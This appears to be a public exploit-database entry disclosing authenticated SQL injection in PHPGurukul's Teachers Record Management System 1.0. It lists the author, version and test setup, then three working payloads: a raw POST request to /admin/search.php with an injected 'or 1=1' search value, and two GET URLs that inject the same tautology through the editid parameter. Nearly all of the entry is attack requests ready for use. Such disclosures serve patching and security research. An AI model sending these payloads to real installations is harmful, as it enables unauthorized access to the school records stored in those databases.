# Exploit Title: Teachers Record Management System 1.0 – Multiple SQL Injection (Authenticated) # Date: 05-10-2021 # Exploit Author: nhattruong or https://nhattruong.blog # Vendor Homepage: https://phpgurukul.com # Software Link: https://phpgurukul.com/teachers-record-management-system-using-php-and-mysql/ # Version: 1.0 # Tested on: Windows 10 + XAMPP v3.2.4 POC: 1. Go to url http://localhost/admin/index.php 2. Login with default creds 3. Execute the payload Payload #1: POST /admin/search.php HTTP/1.1 Host: localhost User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:85.0) Gecko/20100101 Firefox/85.0 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8 Accept-Language: vi-VN,vi;q=0.8,en-US;q=0.5,en;q=0.3 Accept-Encoding: gzip, deflate Content-Type: application/x-www-form-urlencoded Content-Length: 32 Origin: http://localhost Connection: close Referer: http://localhost/trms/admin/search.php Cookie: PHPSESSID=4c4g8dedr7omt9kp1j7d6v6fg0 Upgrade-Insecure-Requests: 1 searchdata=a' or 1=1-- -&search= Payload #2: http://local/admin/edit-subjects-detail.php?editid=a' or 1=1-- - Payload #3: http://local/admin/edit-teacher-detail.php?editid=a' or 1=1-- -